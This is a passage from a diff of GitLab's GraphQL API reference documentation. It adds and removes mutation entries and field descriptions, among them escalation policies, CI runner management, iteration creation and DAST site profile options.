id="mutationcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | <a id="mutationcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | @@ -882,6 +859,7 @@ Input type: `CommitCreateInput` | <a id="mutationcommitcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationcommitcreatecommit"></a>`commit` | [`Commit`](#commit) | The commit after mutation. | | <a id="mutationcommitcreatecommitpipelinepath"></a>`commitPipelinePath` | [`String`](#string) | ETag path for the commit's pipeline. | +| <a id="mutationcommitcreatecontent"></a>`content` | [`[String!]`](#string) | Contents of the commit. | | <a id="mutationcommitcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | ### `Mutation.configureSast` @@ -1093,27 +1071,6 @@ Input type: `CreateCustomEmojiInput` | <a id="mutationcreatecustomemojicustomemoji"></a>`customEmoji` | [`CustomEmoji`](#customemoji) | The new custom emoji. | | <a id="mutationcreatecustomemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -### `Mutation.createDevopsAdoptionSegment` - -**BETA** This endpoint is subject to change without notice. - -Input type: `CreateDevopsAdoptionSegmentInput` - -#### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationcreatedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationcreatedevopsadoptionsegmentnamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace ID to set for the segment. | - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationcreatedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationcreatedevopsadoptionsegmenterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationcreatedevopsadoptionsegmentsegment"></a>`segment` | [`DevopsAdoptionSegment`](#devopsadoptionsegment) | The segment after mutation. | - ### `Mutation.createDiffNote` Input type: `CreateDiffNoteInput` @@ -1224,6 +1181,10 @@ Input type: `CreateIssueInput` ### `Mutation.createIteration` +WARNING: +**Deprecated** in 14.0. +Use iterationCreate. + Input type: `CreateIterationInput` #### Arguments @@ -1234,6 +1195,7 @@ Input type: `CreateIterationInput` | <a id="mutationcreateiterationdescription"></a>`description` | [`String`](#string) | The description of the iteration. | | <a id="mutationcreateiterationduedate"></a>`dueDate` | [`String`](#string) | The end date of the iteration. | | <a id="mutationcreateiterationgrouppath"></a>`groupPath` | [`ID`](#id) | Full path of the group with which the resource is associated. | +| <a id="mutationcreateiterationiterationscadenceid"></a>`iterationsCadenceId` | [`IterationsCadenceID`](#iterationscadenceid) | Global ID of the iterations cadence to be assigned to newly created iteration. | | <a id="mutationcreateiterationprojectpath"></a>`projectPath` | [`ID`](#id) | Full path of the project with which the resource is associated. | | <a id="mutationcreateiterationstartdate"></a>`startDate` | [`String`](#string) | The start date of the iteration. | | <a id="mutationcreateiterationtitle"></a>`title` | [`String`](#string) | The title of the iteration. | @@ -1476,7 +1438,6 @@ Input type: `DastScannerProfileCreateInput` | ---- | ---- | ----------- | | <a id="mutationdastscannerprofilecreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationdastscannerprofilecreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationdastscannerprofilecreateglobalid"></a>`globalId` **{warning-solid}** | [`DastScannerProfileID`](#dastscannerprofileid) | **Deprecated:** Use `id`. Deprecated in 13.6. | | <a id="mutationdastscannerprofilecreateid"></a>`id` | [`DastScannerProfileID`](#dastscannerprofileid) | ID of the scanner profile. | ### `Mutation.dastScannerProfileDelete` @@ -1532,13 +1493,13 @@ Input type: `DastSiteProfileCreateInput` | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationdastsiteprofilecreateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| <a id="mutationdastsiteprofilecreateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. | | <a id="mutationdastsiteprofilecreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationdastsiteprofilecreateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Defaults to `[]`. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| <a id="mutationdastsiteprofilecreateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Defaults to `[]`. | | <a id="mutationdastsiteprofilecreatefullpath"></a>`fullPath` | [`ID!`](#id) | The project the site profile belongs to. | | <a id="mutationdastsiteprofilecreateprofilename"></a>`profileName` | [`String!`](#string) | The name of the site profile. | -| <a id="mutationdastsiteprofilecreaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. | -| <a id="mutationdastsiteprofilecreatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will be ignored if `security_dast_site_profiles_api_option` feature flag is disabled. | +| <a id="mutationdastsiteprofilecreaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. | +| <a id="mutationdastsiteprofilecreatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. | | <a id="mutationdastsiteprofilecreatetargeturl"></a>`targetUrl` | [`String`](#string) | The URL of the target to be scanned. | #### Fields @@ -1576,14 +1537,14 @@ Input type: `DastSiteProfileUpdateInput` | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationdastsiteprofileupdateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| <a id="mutationdastsiteprofileupdateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. | | <a id="mutationdastsiteprofileupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationdastsiteprofileupdateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| <a id="mutationdastsiteprofileupdateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. | | <a id="mutationdastsiteprofileupdatefullpath"></a>`fullPath` | [`ID!`](#id) | The project the site profile belongs to. | | <a id="mutationdastsiteprofileupdateid"></a>`id` | [`DastSiteProfileID!`](#dastsiteprofileid) | ID of the site profile to be updated. | | <a id="mutationdastsiteprofileupdateprofilename"></a>`profileName` | [`String!`](#string) | The name of the site profile. | -| <a id="mutationdastsiteprofileupdaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. | -| <a id="mutationdastsiteprofileupdatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will be ignored if `security_dast_site_profiles_api_option` feature flag is disabled. | +| <a id="mutationdastsiteprofileupdaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. | +| <a id="mutationdastsiteprofileupdatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. | | <a id="mutationdastsiteprofileupdatetargeturl"></a>`targetUrl` | [`String`](#string) | The URL of the target to be scanned. | #### Fields @@ -1676,26 +1637,6 @@ Input type: `DeleteAnnotationInput` | <a id="mutationdeleteannotationclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationdeleteannotationerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -### `Mutation.deleteDevopsAdoptionSegment` - -**BETA** This endpoint is subject to change without notice. - -Input type: `DeleteDevopsAdoptionSegmentInput` - -#### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationdeletedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationdeletedevopsadoptionsegmentid"></a>`id` | [`[AnalyticsDevopsAdoptionSegmentID!]!`](#analyticsdevopsadoptionsegmentid) | One or many IDs of the segments to delete. | - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationdeletedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationdeletedevopsadoptionsegmenterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | - ### `Mutation.designManagementDelete` Input type: `DesignManagementDeleteInput` @@ -1912,6 +1853,26 @@ Input type: `DestroySnippetInput` | <a id="mutationdestroysnippeterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationdestroysnippetsnippet"></a>`snippet` | [`Snippet`](#snippet) | The snippet after mutation. | +### `Mutation.disableDevopsAdoptionNamespace` + +**BETA** This endpoint is subject to change without notice. + +Input type: `DisableDevopsAdoptionNamespaceInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationdisabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationdisabledevopsadoptionnamespaceid"></a>`id` | [`[AnalyticsDevopsAdoptionEnabledNamespaceID!]!`](#analyticsdevopsadoptionenablednamespaceid) | One or many IDs of the enabled namespaces to disable. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationdisabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationdisabledevopsadoptionnamespaceerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | + ### `Mutation.discussionToggleResolve` Toggles the resolved state of a discussion. @@ -1934,30 +1895,27 @@ Input type: `DiscussionToggleResolveInput` | <a id="mutationdiscussiontoggleresolvediscussion"></a>`discussion` | [`Discussion`](#discussion) | The discussion after mutation. | | <a id="mutationdiscussiontoggleresolveerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -### `Mutation.dismissVulnerability` +### `Mutation.enableDevopsAdoptionNamespace` -WARNING: -**Deprecated** in 13.5. -Use vulnerabilityDismiss. +**BETA** This endpoint is subject to change without notice. -Input type: `DismissVulnerabilityInput` +Input type: `EnableDevopsAdoptionNamespaceInput` #### Arguments | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationdismissvulnerabilityclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationdismissvulnerabilitycomment"></a>`comment` | [`String`](#string) | Comment why vulnerability should be dismissed. | -| <a id="mutationdismissvulnerabilitydismissalreason"></a>`dismissalReason` | [`VulnerabilityDismissalReason`](#vulnerabilitydismissalreason) | Reason why vulnerability should be dismissed. | -| <a id="mutationdismissvulnerabilityid"></a>`id` | [`VulnerabilityID!`](#vulnerabilityid) | ID of the vulnerability to be dismissed. | +| <a id="mutationenabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationenabledevopsadoptionnamespacedisplaynamespaceid"></a>`displayNamespaceId` | [`NamespaceID`](#namespaceid) | Display namespace ID. | +| <a id="mutationenabledevopsadoptionnamespacenamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace ID. | #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationdismissvulnerabilityclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationdismissvulnerabilityerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationdismissvulnerabilityvulnerability"></a>`vulnerability` | [`Vulnerability`](#vulnerability) | The vulnerability after dismissal. | +| <a id="mutationenabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationenabledevopsadoptionnamespaceenablednamespace"></a>`enabledNamespace` | [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace) | Enabled namespace after mutation. | +| <a id="mutationenabledevopsadoptionnamespaceerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | ### `Mutation.environmentsCanaryIngressUpdate` @@ -2102,14 +2060,17 @@ Input type: `EpicMoveListInput` | <a id="mutationepicmovelistboardid"></a>`boardId` | [`BoardsEpicBoardID!`](#boardsepicboardid) | Global ID of the board that the epic is in. | | <a id="mutationepicmovelistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationepicmovelistepicid"></a>`epicId` | [`EpicID!`](#epicid) | ID of the epic to mutate. | -| <a id="mutationepicmovelistfromlistid"></a>`fromListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the board list that the epic will be moved from. | -| <a id="mutationepicmovelisttolistid"></a>`toListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the board list that the epic will be moved to. | +| <a id="mutationepicmovelistfromlistid"></a>`fromListId` | [`BoardsEpicListID`](#boardsepiclistid) | ID of the board list that the epic will be moved from. Required if moving between lists. | +| <a id="mutationepicmovelistmoveafterid"></a>`moveAfterId` | [`EpicID`](#epicid) | ID of epic that should be placed after the current epic. | +| <a id="mutationepicmovelistmovebeforeid"></a>`moveBeforeId` | [`EpicID`](#epicid) | ID of epic that should be placed before the current epic. | +| <a id="mutationepicmovelisttolistid"></a>`toListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the list the epic will be in after mutation. | #### Fields | Name | Type | Description | | ---- | ---- | ----------- | | <a id="mutationepicmovelistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationepicmovelistepic"></a>`epic` | [`Epic`](#epic) | The epic after mutation. | | <a id="mutationepicmovelisterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | ### `Mutation.epicSetSubscription` @@ -2152,6 +2113,69 @@ Input type: `EpicTreeReorderInput` | <a id="mutationepictreereorderclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationepictreereordererrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +### `Mutation.escalationPolicyCreate` + +Input type: `EscalationPolicyCreateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationescalationpolicycreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationescalationpolicycreatedescription"></a>`description` | [`String`](#string) | The description of the escalation policy. | +| <a id="mutationescalationpolicycreatename"></a>`name` | [`String!`](#string) | The name of the escalation policy. | +| <a id="mutationescalationpolicycreateprojectpath"></a>`projectPath` | [`ID!`](#id) | The project to create the escalation policy for. | +| <a id="mutationescalationpolicycreaterules"></a>`rules` | [`[EscalationRuleInput!]!`](#escalationruleinput) | The steps of the escalation policy. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationescalationpolicycreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationescalationpolicycreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationescalationpolicycreateescalationpolicy"></a>`escalationPolicy` | [`EscalationPolicyType`](#escalationpolicytype) | The escalation policy. | + +### `Mutation.escalationPolicyDestroy` + +Input type: `EscalationPolicyDestroyInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationescalationpolicydestroyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationescalationpolicydestroyid"></a>`id` | [`IncidentManagementEscalationPolicyID!`](#incidentmanagementescalationpolicyid) | The escalation policy internal ID to remove. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationescalationpolicydestroyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationescalationpolicydestroyerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationescalationpolicydestroyescalationpolicy"></a>`escalationPolicy` | [`EscalationPolicyType`](#escalationpolicytype) | The escalation policy. | + +### `Mutation.escalationPolicyUpdate` + +Input type: `EscalationPolicyUpdateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationescalationpolicyupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationescalationpolicyupdatedescription"></a>`description` | [`String`](#string) | The description of the escalation policy. | +| <a id="mutationescalationpolicyupdateid"></a>`id` | [`IncidentManagementEscalationPolicyID!`](#incidentmanagementescalationpolicyid) | The ID of the on-call schedule to create the on-call rotation in. | +| <a id="mutationescalationpolicyupdatename"></a>`name` | [`String`](#string) | The name of the escalation policy. | +| <a id="mutationescalationpolicyupdaterules"></a>`rules` | [`[EscalationRuleInput!]`](#escalationruleinput) | The steps of the escalation policy. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationescalationpolicyupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationescalationpolicyupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationescalationpolicyupdateescalationpolicy"></a>`escalationPolicy` | [`EscalationPolicyType`](#escalationpolicytype) | The escalation policy. | + ### `Mutation.exportRequirements` Input type: `ExportRequirementsInput` @@ -2588,6 +2612,31 @@ Input type: `IterationCadenceUpdateInput` | <a id="mutationiterationcadenceupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationiterationcadenceupdateiterationcadence"></a>`iterationCadence` | [`IterationCadence`](#iterationcadence) | The updated iteration cadence. | +### `Mutation.iterationCreate` + +Input type: `iterationCreateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationiterationcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationiterationcreatedescription"></a>`description` | [`String`](#string) | The description of the iteration. | +| <a id="mutationiterationcreateduedate"></a>`dueDate` | [`String`](#string) | The end date of the iteration. | +| <a id="mutationiterationcreategrouppath"></a>`groupPath` | [`ID`](#id) | Full path of the group with which the resource is associated. | +| <a id="mutationiterationcreateiterationscadenceid"></a>`iterationsCadenceId` | [`IterationsCadenceID`](#iterationscadenceid) | Global ID of the iterations cadence to be assigned to newly created iteration. | +| <a id="mutationiterationcreateprojectpath"></a>`projectPath` | [`ID`](#id) | Full path of the project with which the resource is associated. | +| <a id="mutationiterationcreatestartdate"></a>`startDate` | [`String`](#string) | The start date of the iteration. | +| <a id="mutationiterationcreatetitle"></a>`title` | [`String`](#string) | The title of the iteration. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationiterationcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationiterationcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationiterationcreateiteration"></a>`iteration` | [`Iteration`](#iteration) | The created iteration. | + ### `Mutation.iterationDelete` Input type: `IterationDeleteInput` @@ -2700,7 +2749,6 @@ Input type: `LabelCreateInput` | <a id="mutationlabelcreatedescription"></a>`description` | [`String`](#string) | Description of the label. | | <a id="mutationlabelcreategrouppath"></a>`groupPath` | [`ID`](#id) | Full path of the group with which the resource is associated. | | <a id="mutationlabelcreateprojectpath"></a>`projectPath` | [`ID`](#id) | Full path of the project with which the resource is associated. | -| <a id="mutationlabelcreateremoveonclose"></a>`removeOnClose` | [`Boolean`](#boolean) | Whether the label should be removed from an issue when the issue is closed. | | <a id="mutationlabelcreatetitle"></a>`title` | [`String!`](#string) | Title of the label. | #### Fields @@ -3414,30 +3462,6 @@ Input type: `ReleaseUpdateInput` | <a id="mutationreleaseupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationreleaseupdaterelease"></a>`release` | [`Release`](#release) | The release after mutation. | -### `Mutation.removeAwardEmoji` - -WARNING: -**Deprecated** in 13.2. -Use awardEmojiRemove. - -Input type: `RemoveAwardEmojiInput` - -#### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationremoveawardemojiawardableid"></a>`awardableId` | [`AwardableID!`](#awardableid) | The global ID of the awardable resource. | -| <a id="mutationremoveawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationremoveawardemojiname"></a>`name` | [`String!`](#string) | The emoji name. | - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationremoveawardemojiawardemoji"></a>`awardEmoji` | [`AwardEmoji`](#awardemoji) | The award emoji after mutation. | -| <a id="mutationremoveawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationremoveawardemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | - ### `Mutation.removeProjectFromSecurityDashboard` Input type: `RemoveProjectFromSecurityDashboardInput` @@ -3478,54 +3502,75 @@ Input type: `RepositionImageDiffNoteInput` | <a id="mutationrepositionimagediffnoteerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationrepositionimagediffnotenote"></a>`note` | [`Note`](#note) | The note after mutation. | -### `Mutation.revertVulnerabilityToDetected` +### `Mutation.runnerDelete` -WARNING: -**Deprecated** in 13.5. -Use vulnerabilityRevertToDetected. +Available only when feature flag `runner_graphql_query` is enabled. -Input type: `RevertVulnerabilityToDetectedInput` +Input type: `RunnerDeleteInput` #### Arguments | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationrevertvulnerabilitytodetectedclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationrevertvulnerabilitytodetectedid"></a>`id` | [`VulnerabilityID!`](#vulnerabilityid) | ID of the vulnerability to be reverted. | +| <a id="mutationrunnerdeleteclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationrunnerdeleteid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner to delete. | #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationrevertvulnerabilitytodetectedclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationrevertvulnerabilitytodetectederrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationrevertvulnerabilitytodetectedvulnerability"></a>`vulnerability` | [`Vulnerability`](#vulnerability) | The vulnerability after revert. | +| <a id="mutationrunnerdeleteclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationrunnerdeleteerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -### `Mutation.runDastScan` +### `Mutation.runnerUpdate` -WARNING: -**Deprecated** in 13.4. -Use DastOnDemandScanCreate. +Available only when feature flag `runner_graphql_query` is enabled. -Input type: `RunDASTScanInput` +Input type: `RunnerUpdateInput` #### Arguments | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationrundastscanbranch"></a>`branch` | [`String!`](#string) | The branch to be associated with the scan. | -| <a id="mutationrundastscanclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationrundastscanprojectpath"></a>`projectPath` | [`ID!`](#id) | The project the DAST scan belongs to. | -| <a id="mutationrundastscanscantype"></a>`scanType` | [`DastScanTypeEnum!`](#dastscantypeenum) | The type of scan to be run. | -| <a id="mutationrundastscantargeturl"></a>`targetUrl` | [`String!`](#string) | The URL of the target to be scanned. | +| <a id="mutationrunnerupdateaccesslevel"></a>`accessLevel` | [`CiRunnerAccessLevel`](#cirunneraccesslevel) | Access level of the runner. | +| <a id="mutationrunnerupdateactive"></a>`active` | [`Boolean`](#boolean) | Indicates the runner is allowed to receive jobs. | +| <a id="mutationrunnerupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationrunnerupdatedescription"></a>`description` | [`String`](#string) | Description of the runner. | +| <a id="mutationrunnerupdateid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner to update. | +| <a id="mutationrunnerupdatelocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. | +| <a id="mutationrunnerupdatemaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. | +| <a id="mutationrunnerupdaterununtagged"></a>`runUntagged` | [`Boolean`](#boolean) | Indicates the runner is able to run untagged jobs. | +| <a id="mutationrunnerupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Tags associated with the runner. | #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationrundastscanclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationrundastscanerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationrundastscanpipelineurl"></a>`pipelineUrl` | [`String`](#string) | URL of the pipeline that was created. | +| <a id="mutationrunnerupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationrunnerupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationrunnerupdaterunner"></a>`runner` | [`CiRunner`](#cirunner) | The runner after mutation. | + +### `Mutation.runnersRegistrationTokenReset` + +Available only when feature flag `runner_graphql_query` is enabled. + +Input type: `RunnersRegistrationTokenResetInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationrunnersregistrationtokenresetclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationrunnersregistrationtokenresetid"></a>`id` | [`ID`](#id) | ID of the project or group to reset the token for. Omit if resetting instance runner token. | +| <a id="mutationrunnersregistrationtokenresettype"></a>`type` | [`CiRunnerType!`](#cirunnertype) | Scope of the object to reset the token for. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationrunnersregistrationtokenresetclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationrunnersregistrationtokenreseterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| <a id="mutationrunnersregistrationtokenresettoken"></a>`token` | [`String`](#string) | The runner token after mutation. | ### `Mutation.terraformStateDelete` @@ -3656,7 +3701,6 @@ Input type: `TodoRestoreManyInput` | <a id="mutationtodorestoremanyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationtodorestoremanyerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationtodorestoremanytodos"></a>`todos` | [`[Todo!]!`](#todo) | Updated to-do items. | -| <a id="mutationtodorestoremanyupdatedids"></a>`updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. | ### `Mutation.todosMarkAllDone` @@ -3675,32 +3719,6 @@ Input type: `TodosMarkAllDoneInput` | <a id="mutationtodosmarkalldoneclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationtodosmarkalldoneerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationtodosmarkalldonetodos"></a>`todos` | [`[Todo!]!`](#todo) | Updated to-do items. | -| <a id="mutationtodosmarkalldoneupdatedids"></a>`updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. | - -### `Mutation.toggleAwardEmoji` - -WARNING: -**Deprecated** in 13.2. -Use awardEmojiToggle. - -Input type: `ToggleAwardEmojiInput` - -#### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationtoggleawardemojiawardableid"></a>`awardableId` | [`AwardableID!`](#awardableid) | The global ID of the awardable resource. | -| <a id="mutationtoggleawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationtoggleawardemojiname"></a>`name` | [`String!`](#string) | The emoji name. | - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a 